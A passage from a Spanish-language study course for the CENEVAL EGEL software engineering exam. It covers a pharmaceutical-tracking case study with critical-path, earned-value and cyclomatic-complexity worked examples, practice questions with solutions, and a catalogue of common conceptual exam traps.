de Scrum establece que un Sprint solo debe ser cancelado si el *Sprint Goal* queda obsoleto debido a cambios drásticos de negocio o tecnología. La **única persona** con la autoridad organizacional para cancelar un Sprint antes de su finalización planificada es el **Product Owner**.\n","title":"4.3.7 Solucionario analítico y justificaciones detalladas: Subárea 4.3"}],"contentMd":"","title":"4.3 Metodologías de desarrollo"},{"children":[],"contentMd":"# 4.4 Macro-Caso Integrador: Gestión Integral, Calidad y Metodologías de Software\n\nEl examen CENEVAL EGEL culmina su evaluación del **Bloque 4: Gestión de Proyectos de Software (60 reactivos)** mediante preguntas integradoras de caso multidisciplinario, donde se conjugan simultáneamente el control financiero-temporal (PERT/CPM/EVM), las dinámicas organizacionales humanas, los estándares rigurosos de calidad (ISO 25010 / CMMI / McCabe / Fagan) y la gobernanza metodológica adaptativa y predictiva.\n\n---\n\n## 1. Planteamiento del Macro-Caso: El Sistema Nacional de Trazabilidad Farmacéutica \"FarmaTrack\"\n\nEl Ministerio de Salud contrata a una empresa consultora para desarrollar **FarmaTrack**, una plataforma distribuida de misión crítica diseñada para monitorear en tiempo real la cadena de frío, autenticidad y distribución logística de medicamentos de alta especialidad en 1,200 hospitales del país.\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                       ARQUITECTURA INTEGRAL FARMATRACK                      │\n├───────────────────────────────────┬─────────────────────────────────────────┤\n│    COMPONENTE A: DISPOSITIVO IoT  │       COMPONENTE B: PORTAL WEB Y        │\n│    Y CADENA DE FRÍO (Hardware)    │       APP MÓVIL DE HOSPITALES           │\n├───────────────────────────────────┼─────────────────────────────────────────┤\n│ • Firmware en C y sensores temp.  │ • Aplicación web React y app móvil.     │\n│ • Alta regulación médica internacional│ • Requerimientos cambiantes y       │\n│   (COFEPRIS y FDA 21 CFR Part 11).│   diseño centrado en el usuario.        │\n│ • Interfaces físicas fijas.       │ • Necesidad de entregas iterativas      │\n│ • Cero tolerancia a fallos.       │   quincenales para feedback médico.     │\n└───────────────────────────────────┴─────────────────────────────────────────┘\n```\n\n---\n\n## 2. Dimensión 1: Planificación, Ruta Crítica y Control de Valor Ganado\n\n### Red de Actividades del Proyecto Inicial\nDurante la fase de planificación, el equipo desglosa el cronograma en las siguientes actividades principales:\n\n| Actividad | Descripción | Predecesoras | Duración PERT ($V_E$) |\n| :---: | :--- | :---: | :---: |\n| **A** | Diseño y especificación formal de protocolos IoT | Ninguna | 4 semanas |\n| **B** | Fabricación y calibración de hardware sensor | A | 8 semanas |\n| **C** | Desarrollo del middleware de ingesta y base de datos | A | 6 semanas |\n| **D** | Certificación regulatoria de hardware ante COFEPRIS | B | 6 semanas |\n| **E** | Desarrollo de la API REST y lógica de alertas | C | 5 semanas |\n| **F** | Pruebas integrales de sistema E2E y despliegue hospitalario | D, E | 4 semanas |\n\n### Análisis de Rutas del Proyecto\n1. **Ruta 1 (A ➔ B ➔ D ➔ F)**: $4 + 8 + 6 + 4 = \\mathbf{22\\text{ semanas}}$.\n2. **Ruta 2 (A ➔ C ➔ E ➔ F)**: $4 + 6 + 5 + 4 = 19\\text{ semanas}$.\n* **Ruta Crítica**: **A ➔ B ➔ D ➔ F** con una duración mínima total de **22 semanas**.\n* **Holgura Total de la Rama C-E**: $22 - 19 = \\mathbf{3\\text{ semanas}}$. Las actividades C o E pueden demorarse hasta 3 semanas acumuladas sin retrasar el lanzamiento del proyecto.\n\n### Auditoría de Valor Ganado al Mes 3 (Semana 12)\nAl corte de la semana 12, el informe financiero reporta los siguientes datos:\n* Presupuesto Total Planificado a la Conclusión: $BAC = \\$400,000\\text{ USD}$.\n* Valor Planificado a la fecha: $PV = \\$220,000\\text{ USD}$.\n* Valor Ganado del trabajo completado: $EV = \\$180,000\\text{ USD}$.\n* Costo Real devengado: $AC = \\$200,000\\text{ USD}$.\n\n$$\\text{Variación de Costo } (CV) = EV - AC = \\$180,000 - \\$200,000 = -\\$20,000\\text{ USD (Sobrecosto)}$$\n$$\\text{Variación de Cronograma } (SV) = EV - PV = \\$180,000 - \\$220,000 = -\\$40,000\\text{ USD (Retraso)}$$\n$$\\text{Índice de Rendimiento de Costo } (CPI) = \\frac{EV}{AC} = \\frac{180k}{200k} = \\mathbf{0.90}$$\n$$\\text{Índice de Rendimiento de Cronograma } (SPI) = \\frac{EV}{PV} = \\frac{180k}{220k} = \\mathbf{0.82}$$\n$$\\text{Estimación a la Conclusión } (EAC) = \\frac{BAC}{CPI} = \\frac{\\$400,000}{0.90} = \\mathbf{\\$444,444\\text{ USD}}$$\n\nEl proyecto sufre un retraso del 18% en el ritmo de entrega y un sobrecosto proyectado de más de $44,000 USD si no se toman acciones correctivas inmediatas.\n\n---\n\n## 3. Dimensión 2: Calidad, Complejidad Ciclomática y Pruebas\n\n### Algoritmo de Detección de Descongelamiento en Sensores\nEn el firmware embebido, se inspecciona la función crítica que dispara la invalidación de lotes biológicos:\n\n```c\nint evaluarLote(float temp, int duracionExceso, int tipoVacuna, boolean selloRoto) {\n    int estado = 0; // 0 = Valido, 1 = Alerta, 2 = Descartar\n    if (selloRoto || temp \u003e 8.0) {\n        if (tipoVacuna == 1 \u0026\u0026 duracionExceso \u003e 120) {\n            estado = 2;\n        } else if (tipoVacuna == 2 \u0026\u0026 duracionExceso \u003e 30) {\n            estado = 2;\n        } else {\n            estado = 1;\n        }\n    } else if (temp \u003c 2.0) {\n        estado = 2;\n    }\n    return estado;\n}\n```\n\n### Cálculo de Complejidad Ciclomática ($V(G)$)\nContando los puntos de bifurcación condicional ($P_n$):\n1. `selloRoto` ($+1$)\n2. `temp \u003e 8.0` (por el operador `||`, $+1$)\n3. `tipoVacuna == 1` ($+1$)\n4. `duracionExceso \u003e 120` (por el operador `\u0026\u0026`, $+1$)\n5. `tipoVacuna == 2` ($+1$)\n6. `duracionExceso \u003e 30` (por el operador `\u0026\u0026`, $+1$)\n7. `temp \u003c 2.0` ($+1$)\n* Total de predicados simples: $P_n = 7$.\n* **Complejidad Ciclomática de McCabe**:\n  $$V(G) = P_n + 1 = 7 + 1 = \\mathbf{8}$$\n* **Implicación de Calidad**: El algoritmo se encuentra en el rango de bajo a moderado riesgo ($V(G) \\le 10$), pero requiere exactamente **8 casos de prueba independientes** para garantizar la cobertura total de caminos base (*Basis Path Testing*).\n\n### Estrategia de Pruebas No Funcionales\n1. **Prueba de Carga**: Simular 1,200 hospitales enviando reportes de telemetría cada 60 segundos durante un día laboral típico para certificar latencias $\u003c 200\\text{ ms}$.\n2. **Prueba de Resistencia (*Soak Testing*)**: Mantener el sistema de ingesta MQTT activo durante 120 horas continuas para certificar la ausencia de fugas de memoria (*memory leaks*) en los brokers de mensajería.\n3. **Prueba de Estrés**: Incrementar la tasa de mensajes de 1,000 a 25,000 req/s para determinar el punto de quiebre de la base de datos distribuida y verificar que el *Circuit Breaker* encole la telemetría en disco local sin pérdida de paquetes.\n\n---\n\n## 4. Dimensión 3: Gobernanza Metodológica y Dinámica Humana\n\n### El Modelo Híbrido Óptimo para FarmaTrack\nDebido a la coexistencia de dos realidades técnicas antagónicas, imponer una sola metodología pura para todo el contrato sería un error fatal:\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                     ESTRUCTURA METODOLÓGICA HÍBRIDA                         │\n├──────────────────────────────────────┬──────────────────────────────────────┤\n│ COMPONENTE IoT / FIRMWARE            │ COMPONENTE WEB / MÓVIL               │\n│ Enfoque: MODELO EN V                 │ Enfoque: SCRUM                       │\n├──────────────────────────────────────┼──────────────────────────────────────┤\n│ • Justificación: El hardware y los   │ • Justificación: La experiencia de   │\n│   sensores están sujetos a normas de │   usuario médica y los reportes      │\n│   auditoría médica (FDA / COFEPRIS)  │   administrativos requieren entregas │\n│   con especificaciones fijas y       │   continuas cada dos semanas para    │\n│   matrices de trazabilidad formal    │   validar valor con los médicos      │\n│   entre diseño y pruebas rigurosas.  │   en campo en ciclos iterativos.     │\n└──────────────────────────────────────┴──────────────────────────────────────┘\n```\n\n### Prevención de la Ley de Brooks ante el Retraso\nAl notar el retraso ($SPI = 0.82$), el patrocinador propone contratar a 8 nuevos programadores para incorporarlos de golpe al equipo de firmware IoT:\n* El Líder de Proyecto **rechaza formalmente la incorporación**.\n* **Fundamento**: La curva de aprendizaje del protocolo médico y la explosión de canales de comunicación interpersonales ($n=5 \\to n=13$, pasando de 10 a 78 canales) detendrán a los desarrolladores senior para capacitar a los novatos, agravando el retraso en el camino crítico.\n* **Alternativa Elegida**: Aplicar **Crashing** focalizado asignando horas extras selectivas y contratando a un especialista en certificación que asuma el trámite regulatorio ante COFEPRIS de forma directa.\n\n---\n\n## 5. Reactivos Integradores de Evaluación\n\n### Reactivo 1\nEn el proyecto FarmaTrack, la actividad D \"Certificación regulatoria de hardware ante COFEPRIS\" se encuentra en la ruta crítica con una duración estimada de 6 semanas. Si el equipo técnico logra optimizar el middleware de base de datos (Actividad C) reduciendo su duración de 6 a 3 semanas, ¿cuál será el impacto real de esta reducción sobre la fecha final de entrega del proyecto?\n\nA) El proyecto se adelantará exactamente 3 semanas  \nB) El proyecto no sufrirá ningún adelanto, debido a que la Actividad C no forma parte de la ruta crítica y cuenta con holgura total positiva  \nC) El índice de desempeño de cronograma $SPI$ se elevará automáticamente a 1.20  \nD) La ruta crítica cambiará inmediatamente hacia la rama C-E  \n\n### Reactivo 2\nDurante una auditoría de calidad al software de gestión hospitalaria de FarmaTrack, el auditor independiente detecta que los desarrolladores de la aplicación web dan por terminadas las historias de usuario en Jira en cuanto compilan en sus máquinas locales, omitiendo la ejecución de pruebas de integración en el entorno de staging. Al consultar al Product Owner, este indica que desconocía dicha práctica porque no existe un documento formal consensuado que defina los estándares mínimos de completitud técnica. ¿Qué artefacto o compromiso de Scrum falta implementar de forma urgente?\n\nA) El Sprint Goal  \nB) El Product Goal  \nC) La Definition of Done (DoD)  \nD) El Diagrama de Flujo Acumulado (CFD)  \n\n### Reactivo 3\nSi al corte de la semana 12 el proyecto presenta un $CPI = 0.90$ y un $SPI = 0.82$, ¿cuál es el diagnóstico ejecutivo certero sobre la salud del proyecto FarmaTrack?\n\nA) El proyecto avanza más rápido de lo presupuestado, pero con un ligero déficit financiero  \nB) El proyecto consume $\\$0.90$ de valor por cada dólar gastado y avanza a un 82% del ritmo planificado, presentando sobrecosto y retraso  \nC) El proyecto completará su trabajo con un costo final inferior a los $400,000 USD originalmente previstos  \nD) El equipo ha alcanzado un estado óptimo de flujo continuo según la Ley de Little  \n\n### Reactivo 4\nPara la revisión del código del firmware del microcontrolador de temperatura de FarmaTrack, se convoca a una Inspección Formal de Michael Fagan (IEEE 1028). Durante la reunión, el autor del firmware insiste en proyectar sus diapositivas y leer él mismo las líneas de código, respondiendo a cada objeción con explicaciones sobre por qué diseñó así las rutinas. ¿Qué reglas formales de la inspección de Fagan se están violando?\n\nA) El autor no debe ser el Moderador ni el Lector, y la reunión no es un foro para justificar el código sino para que el Lector neutral guíe la detección objetiva de anomalías  \nB) Las inspecciones de Fagan solo admiten revisión de documentos de texto, nunca código fuente embebido  \nC) El autor debe abandonar la sala de reuniones durante todo el proceso de inspección  \nD) La inspección debió ser reemplazada por una prueba de estrés dinámico en hardware  \n\n---\n\n## 6. Soluciones del Macro-Caso\n\n* **Reactivo 1**: **B) El proyecto no sufrirá ningún adelanto, debido a que la Actividad C no forma parte de la ruta crítica y cuenta con holgura total positiva**. Reducir la duración de una actividad no crítica únicamente incrementa su holgura total disponible (pasa de 3 a 6 semanas de holgura), pero la duración total del proyecto sigue gobernada por la ruta crítica A-B-D-F (22 semanas).\n* **Reactivo 2**: **C) La Definition of Done (DoD)**. La Definition of Done es el compromiso formal que define los criterios objetivos de calidad requeridos para que un incremento de software se considere terminado de forma transparente.\n* **Reactivo 3**: **B) El proyecto consume $\\$0.90$ de valor por cada dólar gastado y avanza a un 82% del ritmo planificado, presentando sobrecosto y retraso**. Tanto $CPI \u003c 1.0$ como $SPI \u003c 1.0$ diagnostican simultáneamente sobrecosto y retraso temporal.\n* **Reactivo 4**: **A) El autor no debe ser el Moderador ni el Lector, y la reunión no es un foro para justificar el código sino para que el Lector neutral guíe la detección objetiva de anomalías**. En la metodología formal de Fagan, el Lector es un ingeniero independiente para evitar puntos ciegos, y la reunión se limita estrictamente a cazar defectos sin debates defensivos ni búsqueda de soluciones en la sala.\n","title":"4.4 Macro-Caso Integrador: Gestión Integral, Calidad y Metodologías de Software"}],"shortDescription":"Planificación de tiempos y costos (PERT/CPM/EVM), dinámica y liderazgo de personas (Brooks, Tuckman, RACI), aseguramiento y control de calidad (ISO/IEC 25010, CMMI, McCabe, Fagan), y selección y gobernanza de metodologías predictivas, ágiles e híbridas (Peso: 60 reactivos).","title":"Bloque 4. Gestión de Proyectos de Software"},{"children":[{"children":[],"contentMd":"# 5.1 Matriz de Conexiones 360°: De los Requisitos a la Gestión del Ciclo de Vida\n\nEl examen CENEVAL EGEL evalúa la ingeniería de software no como un conjunto de materias desconectadas, sino como un **sistema disciplinar unificado y holístico**. En el ejercicio profesional real, una decisión tomada durante la fase de captura de requerimientos (Bloque 1) condiciona la arquitectura del software (Bloque 2), define las herramientas y paradigmas de implementación (Bloque 3) y determina los riesgos, costos, pruebas y gobernanza metodológica (Bloque 4).\n\nEsta lección presenta la **Matriz Transversal de Trazabilidad 360°**, integrando los cuatro bloques oficiales del examen.\n\n---\n\n## 1. El Hilo Conductor Transversal de la Ingeniería de Software\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                 TRAZABILIDAD TRANSVERSAL DE PUNTA A PUNTA                   │\n├─────────────────────┬─────────────────────┬───────────────────┬─────────────┤\n│      BLOQUE 1       │      BLOQUE 2       │     BLOQUE 3      │   BLOQUE 4  │\n│    REQUISITOS       │     ARQUITECTURA    │    DESARROLLO     │   GESTIÓN   │\n├─────────────────────┼─────────────────────┼───────────────────┼─────────────┤\n│ • ¿QUÉ necesita el  │ • ¿CÓMO estructurar │ • ¿CON QUÉ código │ • ¿CÓMO     │\n│   negocio y qué     │   los componentes y │   y datos se      │   controlar │\n│   restricciones hay?│   patrones globales?│   materializa?    │   costos/cal?│\n├─────────────────────┼─────────────────────┼───────────────────┼─────────────┤\n│ RNF de Rendimiento  │ Patrón CQRS +       │ Índices B-Tree +  │ Pruebas de  │\n│ (Latencia \u003c 100ms)  │ Event-Driven        │ Caché Redis + GC  │ Carga y     │\n│                     │                     │ con baja pausa    │ Estrés      │\n├─────────────────────┼─────────────────────┼───────────────────┼─────────────┤\n│ RNF de Seguridad y  │ API Gateway +       │ Cifrado AES-256 + │ Inspección  │\n│ Privacidad Bancaria │ Token OAuth2/JWT    │ OWASP Top 10 +    │ de Fagan +  │\n│                     │ con mTLS            │ Zero SQL Inject   │ ISO 27001   │\n├─────────────────────┼─────────────────────┼───────────────────┼─────────────┤\n│ RNF de Disponibilidad│ Cluster Activo-     │ Docker + K8s      │ Tolerancia a│\n│ (SLA 99.99%)        │ Pasivo con Circuit  │ Réplicas + Health │ Fallos ISO  │\n│                     │ Breaker             │ Checks / Probes   │ 25010 + DRP │\n└─────────────────────┴─────────────────────┴───────────────────┴─────────────┘\n```\n\n---\n\n## 2. Mapa Transversal de Casos Críticos de Negocio\n\n### Eje 1: Alta Concurrencia y Rendimiento Extremo (Fintech / E-Commerce Masivo)\n1. **Requerimientos (Bloque 1)**:\n   * Requisito No Funcional: \"El sistema debe procesar hasta 10,000 órdenes de compra concurrentes por segundo en eventos comerciales pico, con un tiempo de respuesta en el percentil 99 ($P_{99}$) inferior a 250 ms\".\n   * Modelo de casos de uso: Caso de uso esencial \"Procesar Pago\", delimitando los actores y dependencias `\u003c\u003cinclude\u003e\u003e` con la validación de crédito.\n2. **Diseño y Arquitectura (Bloque 2)**:\n   * Patrón Arquitectónico: **Arquitectura Dirigida por Eventos (*Event-Driven*)** desacoplada mediante un broker de mensajería (Kafka/RabbitMQ) para absorber las ráfagas asíncronas de tráfico.\n   * Patrón de Diseño: **Circuit Breaker** (GoF / Resiliencia) para aislar la pasarela bancaria externa y evitar caídas en cascada; patrón **Worker Pool** para limitar el consumo de hilos en el servidor.\n3. **Desarrollo y Persistencia (Bloque 3)**:\n   * Paradigma y Concurrencia: Lenguaje con soporte nativo de I/O asíncrono no bloqueante (Go / Node.js) con estructuras de datos thread-safe (`AtomicLong`, canales o colas concurrentes no bloqueantes).\n   * Datos: Estrategia de caching **Cache-Aside** con Redis; optimización de la base de datos relacional con índices compuestos B-Tree y mitigación estricta del problema $N+1$ en consultas ORM.\n4. **Gestión y Calidad (Bloque 4)**:\n   * Control de Calidad: **Pruebas de Pico (*Spike Testing*)** y de **Estrés** para validar el comportamiento del auto-escalado horizontal de Kubernetes ante avalanchas instantáneas.\n   * Gestión de Riesgos: **Estrategia de Mitigación** técnica anticipada; cálculo del $EMV$ ante caídas del servidor de pago; modelo de entrega ágil **Scrum** para ajustar el producto iterativamente.\n\n---\n\n### Eje 2: Sistemas de Misión Crítica y Seguridad de Vidas (Médico / Aeroespacial)\n1. **Requerimientos (Bloque 1)**:\n   * Requerimientos funcionales inequívocos especificados formalmente según IEEE 830.\n   * Cero tolerancia a la ambigüedad en los requerimientos no funcionales de **Fiabilidad e Integridad**.\n2. **Diseño y Arquitectura (Bloque 2)**:\n   * Arquitectura **Tolerante a Fallos (*Fault-Tolerant*)** con redundancia triple modular (*TMR - Triple Modular Redundancy*) o patrón *Primary-Backup*.\n   * Principio SOLID de **Inversión de Dependencias (DIP)** e interfaces segregadas para permitir desacoplamiento absoluto de los módulos de hardware físico.\n3. **Desarrollo y Persistencia (Bloque 3)**:\n   * Lenguajes de tipado estático fuerte con seguridad de memoria estricta (Rust / C con MISRA-C / Ada) sin recolectores de basura no deterministas (*Garbage Collection pauses* incompatibles con tiempo real duro).\n   * Inmutabilidad estricta y funciones puras del paradigma funcional para garantizar ausencia de efectos secundarios (*side-effects*) y condiciones de carrera (*race conditions*).\n4. **Gestión y Calidad (Bloque 4)**:\n   * Modelo de Ciclo de Vida: **Modelo en V (*V-Model*)**, donde cada nivel de prueba se diseña de forma simétrica a la especificación de diseño correspondiente.\n   * Control de Calidad: **Inspección Formal de Michael Fagan (IEEE 1028)** para todos los requerimientos y código fuente; métrica de **Complejidad Ciclomática de McCabe** restringida a $V(G) \\le 5$; **Cobertura MC/DC** al 100%.\n\n---\n\n## 3. Matriz de Síntesis Cruzada entre Bloques\n\n| Dimensión de Ingeniería | Bloque 1 (Requisitos) | Bloque 2 (Diseño) | Bloque 3 (Desarrollo) | Bloque 4 (Gestión) |\n| :--- | :--- | :--- | :--- | :--- |\n| **Manejo del Cambio** | Matriz de Trazabilidad y Control de Alcance (WBS). | Bajo Acoplamiento y Principio Abierto/Cerrado (OCP). | Inyección de Dependencias, Tests Automatizados (TDD). | Metodologías Ágiles (Scrum/Kanban) y Change Control Board. |\n| **Seguridad de Datos** | Requerimientos No Funcionales de Confidencialidad. | Principio de Menor Privilegio, Defensa en Profundidad. | Prevención de OWASP Top 10, Sentencias Parametrizadas. | Auditorías de Seguridad, ISO 27001, Pruebas de Penetración. |\n| **Escalabilidad** | RNF de Capacidad y Throughput proyectado. | Microservicios, Balanceadores, Particionamiento Sharding. | Docker, Kubernetes, Caché Distribuido, NoSQL eventual. | Pruebas de Carga y Rendimiento, Monitoreo APM. |\n| **Calidad de Código** | Criterios de Aceptación claros (DoR). | Cohesión alta, Patrones GoF y Arquitectónicos limpios. | Refactorización continua, Principio DRY, Boy Scout Rule. | Complejidad McCabe, Cobertura de Ramas, Deuda Técnica. |\n\n---\n\n## 4. Cómo Resolver Reactivos Transversales en el Examen\n\nCuando te enfrentes a un caso largo en el CENEVAL EGEL que involucre múltiples bloques:\n1. **Identifica la restricción dominante (*Dominant Constraint*)**: ¿Es el tiempo/presupuesto? ¿Es una regulación legal? ¿Es el rendimiento computacional? ¿Es la estabilidad del personal?\n2. **Descarta soluciones técnicamente contradictorias**: Si la restricción es \"disponibilidad estricta bajo latencia mínima\", descarta opciones que propongan añadir transacciones distribuidas pesadas de dos fases (2PC).\n3. **Alinea la metodología con la arquitectura**: Proyectos con arquitecturas evolutivas exigen metodologías ágiles (Scrum/XP); proyectos con arquitecturas reguladas y hardware fijo exigen modelos predictivos disciplinados (Modelo en V / RUP).\n","title":"5.1 Matriz de conexiones 360°: De los requisitos a la gestión del ciclo de vida"},{"children":[],"contentMd":"# 5.2 Catálogo Maestro de Trampas Conceptuales y Distractores Frecuentes del CENEVAL EGEL\n\nEl examen CENEVAL EGEL está diseñado con reactivos de opción múltiple cuidadosamente calibrados por comités de expertos. Los **distractores** (las tres opciones incorrectas) rara vez son absurdos o disparatados; están específicamente redactados para explotar **confusiones semánticas, errores de inversión de términos y falsas analogías** muy arraigadas en los estudiantes.\n\nEste catálogo reúne las **12 trampas conceptuales de mayor frecuencia estadística en el examen**, ofreciéndote la clave de descarte inmediato para cada una.\n\n---\n\n## 1. Trampas en Requerimientos y Análisis (Bloque 1)\n\n### Trampa 1: Confundir Requerimientos Funcionales, No Funcionales y Restricciones\n* **El error común**: Clasificar una tecnología impuesta como un Requerimiento Funcional (\"El sistema debe programarse en Java 17 y correr sobre PostgreSQL 15\").\n* **La clave de descarte**:\n  * **Requerimiento Funcional (RF)**: Describe un comportamiento, acción, servicio o cálculo que el software debe ejecutar (*\"El sistema debe calcular el impuesto retenido y emitir la factura en formato XML\"*). Responde a: *¿Qué hace el sistema?*\n  * **Requerimiento No Funcional (RNF)**: Describe un atributo de calidad, rendimiento, seguridad o usabilidad (*\"Las consultas de saldo deben responder en menos de 200 ms con 1,000 usuarios concurrentes\"*). Responde a: *¿Cómo debe comportarse el sistema?*\n  * **Restricción Técnica u Organizacional**: Es una limitación preestablecida e inmutable del entorno impuesta por el cliente o el negocio (*\"Debe alojarse obligatoriamente en los servidores físicos locales de la empresa\"* o *\"El presupuesto máximo es de $50,000 USD\"*).\n\n### Trampa 2: Inversión de Relaciones en Casos de Uso (`\u003c\u003cinclude\u003e\u003e` vs `\u003c\u003cextend\u003e\u003e`)\n* **El error común**: Marcar `\u003c\u003cinclude\u003e\u003e` cuando una acción solo ocurre bajo ciertas condiciones excepcionales, o marcar `\u003c\u003cextend\u003e\u003e` para un paso obligatorio.\n* **La clave de descarte**:\n  * **`\u003c\u003cinclude\u003e\u003e` (Inclusión / Obligatorio)**: El caso de uso base **siempre** ejecuta el caso de uso incluido de forma incondicional. Sin él, el flujo principal está incompleto (ej. `Realizar Transferencia` $\\xrightarrow{\u003c\u003cinclude\u003e\u003e}$ `Autenticar Usuario`).\n  * **`\u003c\u003cextend\u003e\u003e` (Extensión / Opcional)**: El caso de uso extensor se ejecuta **únicamente si se cumple una condición o punto de extensión específico** (ej. `Calcular Cuota` $\\xleftarrow{\u003c\u003cextend\u003e\u003e}$ `Aplicar Cupón de Descuento Promocional` si el usuario posee un código válido).\n\n### Trampa 3: Agregación (`o--`) vs Composición (`*--`) en Diagramas de Clases UML\n* **El error común**: Confundir la fuerza del ciclo de vida y la pertenencia existencial.\n* **La clave de descarte**:\n  * **Composición (Rombo Relleno / Negro $\\blacklozenge$)**: Representa una relación parte-todo **fuerte y dependiente**. Si el objeto contenedor o \"todo\" se destruye, las \"partes\" **dejan de existir** irremediablemente (ej. `Edificio` $\\blacklozenge\\text{---}$ `Habitación`; una habitación no puede existir flotando en el vacío si el edificio se derrumba).\n  * **Agregación (Rombo Vacío / Blanco $\\lozenge$)**: Representa una relación parte-todo **débil e independiente**. Si el contenedor se destruye, las partes continúan existiendo de manera autónoma (ej. `Universidad` $\\lozenge\\text{---}$ `Profesor`; si la universidad cierra, el profesor sigue existiendo y puede impartir clases en otra institución).\n\n---\n\n## 2. Trampas en Arquitectura y Patrones de Diseño (Bloque 2)\n\n### Trampa 4: Confundir Patrones Estructurales GoF (Adapter vs Facade vs Proxy vs Decorator)\n* **La clave de descarte**:\n  * **Adapter (Adaptador)**: Se usa cuando dos componentes incompatibles necesitan comunicarse. Convierte la interfaz existente de una clase a la interfaz esperada por el cliente (*\"cambia la interfaz sin cambiar la funcionalidad\"*).\n  * **Facade (Fachada)**: Proporciona una interfaz simplificada y de alto nivel para ocultar la complejidad de un subsistema completo conformado por decenas de clases interconectadas.\n  * **Proxy (Apoderado)**: Controla el acceso directo a un objeto (por motivos de seguridad, carga perezosa *Lazy Loading*, o acceso remoto RPC). Mantiene exactamente la misma interfaz del objeto real.\n  * **Decorator (Decorador)**: Añade nuevas responsabilidades y comportamientos dinámicos a un objeto en tiempo de ejecución sin utilizar herencia estática.\n\n### Trampa 5: Strategy vs State (Patrones de Comportamiento GoF)\n* **El error común**: Ambos patrones tienen una estructura de clases prácticamente idéntica en UML, pero su propósito semántico es radicalmente opuesto.\n* **La clave de descarte**:\n  * **Strategy**: El cliente (o quien configura el objeto) **selecciona e inyecta explícitamente** el algoritmo que desea usar (ej. elegir entre compresión ZIP, RAR o TAR, o entre ordenamiento QuickSort y MergeSort). El algoritmo no cambia por sí solo a menos que el cliente lo modifique.\n  * **State**: El objeto cambia su comportamiento **automáticamente desde su interior** cuando su estado interno transiciona (ej. una máquina expendedora cambia automáticamente de estado `SinMoneda` a `ConMoneda` y a `ProductoDespachado`). El cliente no fuerza el algoritmo, solo dispara eventos de negocio.\n\n---\n\n## 3. Trampas en Desarrollo, Concurrencia y Persistencia (Bloque 3)\n\n### Trampa 6: Patologías de Concurrencia (Deadlock vs Livelock vs Starvation)\n* **La clave de descarte**:\n  * **Bloqueo Mutuo (*Deadlock*)**: Dos o más hilos quedan **bloqueados permanentemente** en estado durmiente esperando recursos retenidos mutuamente (cumpliendo las 4 condiciones de Coffman: exclusión mutua, retención y espera, no expropiación, y espera circular). El uso de CPU cae a 0%.\n  * **Bloqueo Activo (*Livelock*)**: Dos o más hilos **continúan cambiando activamente su estado** en respuesta a los demás hilos (consumiendo ciclos de CPU), pero **ninguno logra avanzar en su trabajo real** (como dos personas educadas en un pasillo estrecho que intentan esquivarse moviéndose hacia el mismo lado repetidamente).\n  * **Inanición (*Starvation*)**: Un hilo perpetuamente listo para ejecutarse **nunca recibe tiempo de CPU** porque el despachador de hilos (*scheduler*) le otorga prioridad indefinida a otros hilos de mayor jerarquía.\n\n### Trampa 7: Teorema CAP y Consistencia en Bases de Datos\n* **El error común**: Creer que existe una base de datos distribuida que garantice simultáneamente Consistencia Fuerte, Disponibilidad Total y Tolerancia a Particiones (CAP al 100%).\n* **La clave de descarte**:\n  * En cualquier red distribuida real, las particiones de red (fallas de cables, switches, enlaces inter-región) son inevitables ($P$). Por ende, el diseño solo puede elegir entre **Consistencia (CP)** o **Disponibilidad (AP)** ante una partición.\n  * Decir que un sistema distribuido en la nube es \"CA\" es un error teórico: un sistema solo puede ser CA en una única máquina local que no dependa de redes de datos.\n\n---\n\n## 4. Trampas en Gestión de Proyectos y Calidad (Bloque 4)\n\n### Trampa 8: Compresión de Cronograma: Crashing vs Fast-Tracking\n* **La clave de descarte**:\n  * **Crashing (Compresión / Intensificación)**: Consiste en **inyectar recursos económicos adicionales** (horas extras, consultores) en actividades que están en la **Ruta Crítica** para reducir su duración. **Aumenta el costo del proyecto**, pero preserva el orden lógico secuencial.\n  * **Fast-Tracking (Ejecución Rápida)**: Consiste en **ejecutar en paralelo actividades secuenciales** del camino crítico que originalmente debían realizarse una tras otra. **No aumenta el costo directo**, pero **dispara el riesgo de retrabajo masivo**.\n\n### Trampa 9: Inversión de Índices de Valor Ganado ($CPI$ y $SPI$)\n* **El error común**: Calcular las fracciones al revés ($AC/EV$ o $PV/EV$).\n* **La regla mnemotécnica inviolable**:\n  * El **Valor Ganado ($EV$) siempre va en el numerador**:\n    $$CPI = \\frac{EV}{AC} \\quad \\text{y} \\quad SPI = \\frac{EV}{PV}$$\n  * Si el índice es **$\u003c 1.0$ $\\rightarrow$ Alerta roja (problema)**:\n    * $CPI \u003c 1.0$: Ineficiencia de costos (sobrecosto; cada dólar gastado rinde menos de un dólar).\n    * $SPI \u003c 1.0$: Retraso en el cronograma (el avance real es menor al planificado).\n  * Si el índice es **$\u003e 1.0$ $\\rightarrow$ Favorable**:\n    * $CPI \u003e 1.0$: Bajo presupuesto (ahorro).\n    * $SPI \u003e 1.0$: Adelantado en tiempo.\n\n### Trampa 10: QA vs QC y Verificación vs Validación\n* **La clave de descarte**:\n  * **QA (*Quality Assurance*)**: Enfocado en el **proceso** de ingeniería, de naturaleza **preventiva**.\n  * **QC (*Quality Control*)**: Enfocado en el **producto** terminado, de naturaleza **detectiva** (ej. pruebas dinámicas).\n  * **Verificación**: ¿Construimos el software **correctamente**? (cumple los documentos y especificaciones de la fase anterior).\n  * **Validación**: ¿Construimos el software **correcto**? (satisface las necesidades reales del usuario final en su operación diaria).\n\n### Trampa 11: Autoridad y Roles en Scrum\n* **La clave de descarte**:\n  * El **Product Owner (PO)** es el único dueño del *Product Backlog* y del retorno de inversión. **NO reparte tareas ni estima horas**.\n  * El **Scrum Master (SM)** es un líder servicial que elimina impedimentos. **NO es el jefe de proyecto, no asigna tareas ni aprueba vacaciones**.\n  * Los **Developers** son autoorganizados. **Son los únicos facultados para estimar el esfuerzo** y decidir cómo construir la solución.\n  * La reunión para buscar culpables o mejorar procesos es la **Retrospectiva** (interna). La reunión para mostrar el producto terminado a clientes es la **Sprint Review**.\n\n### Trampa 12: Las 4 Estrategias ante Amenazas (Riesgos Negativos)\n* **La clave de descarte**:\n  * **Evitar (*Avoid*)**: Cambiar el alcance, plan o diseño para **eliminar completamente la probabilidad de la amenaza** (probabilidad pasa a 0%).\n  * **Mitigar (*Mitigate*)**: Tomar acciones técnicas preventivas tempranas para **reducir la probabilidad o el impacto** (prototipos, pruebas tempranas, redundancia).\n  * **Transferir (*Transfer*)**: Trasladar el impacto económico o legal a un **tercero** (contrato 